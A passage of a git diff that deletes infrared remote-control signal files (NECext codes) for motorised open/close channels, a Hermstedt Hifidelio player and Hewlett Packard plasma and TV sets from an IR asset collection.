-protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: CLOSE_33 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: OPEN_33 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: CLOSE_31 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: CLOSE_54 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: CLOSE_32 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: OPEN_32 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0A 00 00 00 -# -name: OPEN_31 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: CLOSE_36 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: CLOSE_30 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0D 00 00 00 -# -name: OPEN_30 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0E 00 00 00 -# -name: CLOSE_29 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0F 00 00 00 -# -name: OPEN_56 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 10 00 00 00 -# -name: CLOSE_34 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 11 00 00 00 -# -name: OPEN_34 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 12 00 00 00 -# -name: OPEN_29 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 13 00 00 00 -# -name: OPEN_36 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 14 00 00 00 -# -name: CLOSE_28 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 15 00 00 00 -# -name: OPEN_28 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 16 00 00 00 -# -name: CLOSE_27 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 17 00 00 00 -# -name: CLOSE_35 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 18 00 00 00 -# -name: OPEN_27 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 19 00 00 00 -# -name: CLOSE_26 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1B 00 00 00 -# -name: OPEN_26 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1C 00 00 00 -# -name: CLOSE_25 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: OPEN_25 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1E 00 00 00 -# -name: OPEN_35 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1F 00 00 00 -# -name: OPEN_57 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: OPEN_51 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: OPEN_53 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: OPEN_49 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: CLOSE_58 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 24 00 00 00 -# -name: CLOSE_45 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: OPEN_45 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: CLOSE_43 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 27 00 00 00 -# -name: OPEN_58 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 28 00 00 00 -# -name: CLOSE_44 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: OPEN_44 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: OPEN_43 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2B 00 00 00 -# -name: CLOSE_48 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: CLOSE_42 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2D 00 00 00 -# -name: OPEN_42 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 -# -name: CLOSE_41 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2F 00 00 00 -# -name: OPEN_55 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: CLOSE_46 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: OPEN_46 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: OPEN_41 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 33 00 00 00 -# -name: OPEN_48 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: CLOSE_40 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: OPEN_40 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: CLOSE_39 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: CLOSE_47 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 38 00 00 00 -# -name: OPEN_39 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 39 00 00 00 -# -name: CLOSE_38 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3B 00 00 00 -# -name: OPEN_38 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3C 00 00 00 -# -name: CLOSE_37 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3D 00 00 00 -# -name: OPEN_37 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3E 00 00 00 -# -name: OPEN_47 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3F 00 00 00 -# -name: CLOSE_57 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 40 00 00 00 -# -name: CLOSE_51 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 41 00 00 00 -# -name: CLOSE_53 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 42 00 00 00 -# -name: CLOSE_49 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 43 00 00 00 -# -name: CLOSE_ALL -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 44 00 00 00 -# -name: CLOSE_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 45 00 00 00 -# -name: OPEN_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 46 00 00 00 -# -name: CLOSE_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 47 00 00 00 -# -name: OPEN_ALL -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 48 00 00 00 -# -name: CLOSE_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 49 00 00 00 -# -name: OPEN_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 4A 00 00 00 -# -name: OPEN_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 4B 00 00 00 -# -name: CLOSE_12 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 4C 00 00 00 -# -name: CLOSE_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 4D 00 00 00 -# -name: OPEN_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 4E 00 00 00 -# -name: CLOSE_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 4F 00 00 00 -# -name: CLOSE_55 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 50 00 00 00 -# -name: CLOSE_10 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 51 00 00 00 -# -name: OPEN_10 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 52 00 00 00 -# -name: OPEN_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 53 00 00 00 -# -name: OPEN_12 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 54 00 00 00 -# -name: CLOSE_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 55 00 00 00 -# -name: OPEN_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 56 00 00 00 -# -name: CLOSE_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 57 00 00 00 -# -name: CLOSE_11 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 58 00 00 00 -# -name: OPEN_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 59 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 5A 00 00 00 -# -name: CLOSE_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 5B 00 00 00 -# -name: OPEN_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 5C 00 00 00 -# -name: CLOSE_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 5D 00 00 00 -# -name: OPEN_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 5E 00 00 00 -# -name: OPEN_11 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 5F 00 00 00 -# -name: CLOSE_59 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 60 00 00 00 -# -name: CLOSE_50 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 61 00 00 00 -# -name: CLOSE_52 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 62 00 00 00 -# -name: OPEN_23 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 63 00 00 00 -# -name: CLOSE_60 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 64 00 00 00 -# -name: CLOSE_21 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 65 00 00 00 -# -name: OPEN_21 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 66 00 00 00 -# -name: CLOSE_19 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 67 00 00 00 -# -name: OPEN_60 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 68 00 00 00 -# -name: CLOSE_20 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 69 00 00 00 -# -name: OPEN_20 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 6A 00 00 00 -# -name: OPEN_19 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 6B 00 00 00 -# -name: CLOSE_24 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 6C 00 00 00 -# -name: CLOSE_18 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 6D 00 00 00 -# -name: OPEN_18 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 6E 00 00 00 -# -name: CLOSE_17 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 6F 00 00 00 -# -name: OPEN_59 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 70 00 00 00 -# -name: CLOSE_22 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 71 00 00 00 -# -name: OPEN_22 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 72 00 00 00 -# -name: OPEN_17 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 73 00 00 00 -# -name: OPEN_24 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 74 00 00 00 -# -name: CLOSE_16 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 75 00 00 00 -# -name: OPEN_16 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 76 00 00 00 -# -name: CLOSE_15 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 77 00 00 00 -# -name: CLOSE_23 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 78 00 00 00 -# -name: OPEN_15 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 79 00 00 00 -# -name: WIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 7A 00 00 00 -# -name: CLOSE_14 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 7B 00 00 00 -# -name: OPEN_14 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 7C 00 00 00 -# -name: CLOSE_13 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 7D 00 00 00 -# -name: OPEN_13 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio/16,-1.ir deleted file mode 100644 index e22df0c5d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio/16,-1.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 09 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0B 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: f1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 12 00 00 00 -# -name: artist -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: f2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: album -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 15 00 00 00 -# -name: operate -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1D 00 00 00 -# -name: KEY_LIGHTS_TOGGLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 20 00 00 00 -# -name: KEY_LIGHTS_TOGGLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 21 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 22 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 23 00 00 00 -# -name: genre -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 24 00 00 00 -# -name: f4 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 26 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 29 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2C 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2E 00 00 00 -# -name: songs -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2F 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 38 00 00 00 -# -name: lists -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 3B 00 00 00 -# -name: f3 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 3C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hewlett Packard/Plasma/18,17.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hewlett Packard/Plasma/18,17.ir deleted file mode 100644 index 8a14deb61..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hewlett Packard/Plasma/18,17.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 09 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 0A 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 0D 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 0D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 11 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 1F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 54 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 55 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 58 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 59 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 5A 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 5B 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 5C 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 5C 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 63 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 8B 00 00 00 -# -name: PHOTO -type: parsed -protocol: NECext -address: 12 11 00 00 -command: A4 00 00 00 -# -name: SAP/MTS -type: parsed -protocol: NECext -address: 12 11 00 00 -command: A7 00 00 00 -# -name: SAP -type: parsed -protocol: NECext -address: 12 11 00 00 -command: A7 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 12 11 00 00 -command: A8 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 12 11 00 00 -command: A9 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 12 11 00 00 -command: AB 00 00 00 -# -name: . -type: parsed -protocol: NECext -address: 12 11 00 00 -command: AC 00 00 00 -# -name: ._(DOT) -type: parsed -protocol: NECext -address: 12 11 00 00 -command: AC 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 12 11 00 00 -command: D7 00 00 00 -# -name: SPLIT -type: parsed -protocol: NECext -address: 12 11 00 00 -command: D8 00 00 00 -# -name: BBE -type: parsed -protocol: NECext -address: 12 11 00 00 -command: DB 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 12 11 00 00 -command: DC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir deleted file mode 100644 index 7dae2ac3b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 00 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 01 00 00 00 -# -name: INPUT_TV -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 0A 00 00 00 -# -name: INPUT_AV1 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 0D 00 00 00 -# -name: INPUT_AV2 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 0E 00 00 00 -# -name: INPUT_AV3 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 0F 00 00 00 -# -name: INPUT_S-VIDEO -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 12 00 00 00 -# -name: INPUT_YPBRPR1 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 13 00 00 00 -# -name: INPUT_YPBRPR2 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 14 00 00 00 -# -name: INPUT_HDMI -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 15 00 00 00 -# -name: INPUT_DVI -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 17 00 00 00 -# -name: INPUT_RGB -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 18 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 19 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hewlett Packard/TV/18,17.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hewlett Packard/TV/18,17.ir deleted file mode 100644 index 8a14deb61..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hewlett Packard/TV/18,17.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 09 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 0A 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 0D 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 0D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 11 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 1F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 54 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 55 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 58 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 59 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 5A 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 5B 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 5C 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 5C 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 63 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 12 11 00 00 -command: 8B 00 00 00 -# -name: PHOTO -type: parsed -protocol: NECext -address: 12 11 00 00 -command: A4 00 00 00 -# -name: SAP/MTS -type: parsed -protocol: NECext -address: 12 11 00 00 -command: A7 00 00 00 -# -name: SAP -type: parsed -protocol: NECext -address: 12 11 00 00 -command: A7 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 12 11 00 00 -command: A8 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 12 11 00 00 -command: A9 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 12 11 00 00 -command: AB 00 00 00 -# -name: . -type: parsed -protocol: NECext -address: 12 11 00 00 -command: AC 00 00 00 -# -name: ._(DOT) -type: parsed -protocol: NECext -address: 12 11 00 00 -command: AC 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 12 11 00 00 -command: D7 00 00 00 -# -name: SPLIT -type: parsed -protocol: NECext -address: 12 11 00 00 -command: D8 00 00 00 -# -name: BBE -type: parsed -protocol: NECext -address: 12 11 00 00 -command: DB 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 12 11 00 00 -command: DC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hewlett Packard/TV/2,17.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hewlett Packard/TV/2,17.ir deleted file mode 100644 index 8c541389a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hewlett Packard/TV/2,17.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 00 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 01 00 00 00 -# -name: TUNER_1 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 0A 00 00 00 -# -name: INPUT_TV -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 0A 00 00 00 -# -name: TUNER_2 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 0B 00 00 00 -# -name: TUNER_3 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 0C 00 00 00 -# -name: AV_1 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 0D 00 00 00 -# -name: INPUT_AV1 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 0D 00 00 00 -# -name: AV_2 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 0E 00 00 00 -# -name: INPUT_AV2 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 0E 00 00 00 -# -name: AV_3 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 0F 00 00 00 -# -name: INPUT_AV3 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 0F 00 00 00 -# -name: SV_1 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 10 00 00 00 -# -name: SV_2 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 11 00 00 00 -# -name: SV_3 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 12 00 00 00 -# -name: INPUT_S-VIDEO -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 12 00 00 00 -# -name: YPRPB_1 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 13 00 00 00 -# -name: INPUT_YPBRPR1 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 13 00 00 00 -# -name: YPRPB_2 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 14 00 00 00 -# -name: INPUT_YPBRPR2 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 14 00 00 00 -# -name: HDMI_1 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 15 00 00 00 -# -name: INPUT_HDMI -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 15 00 00 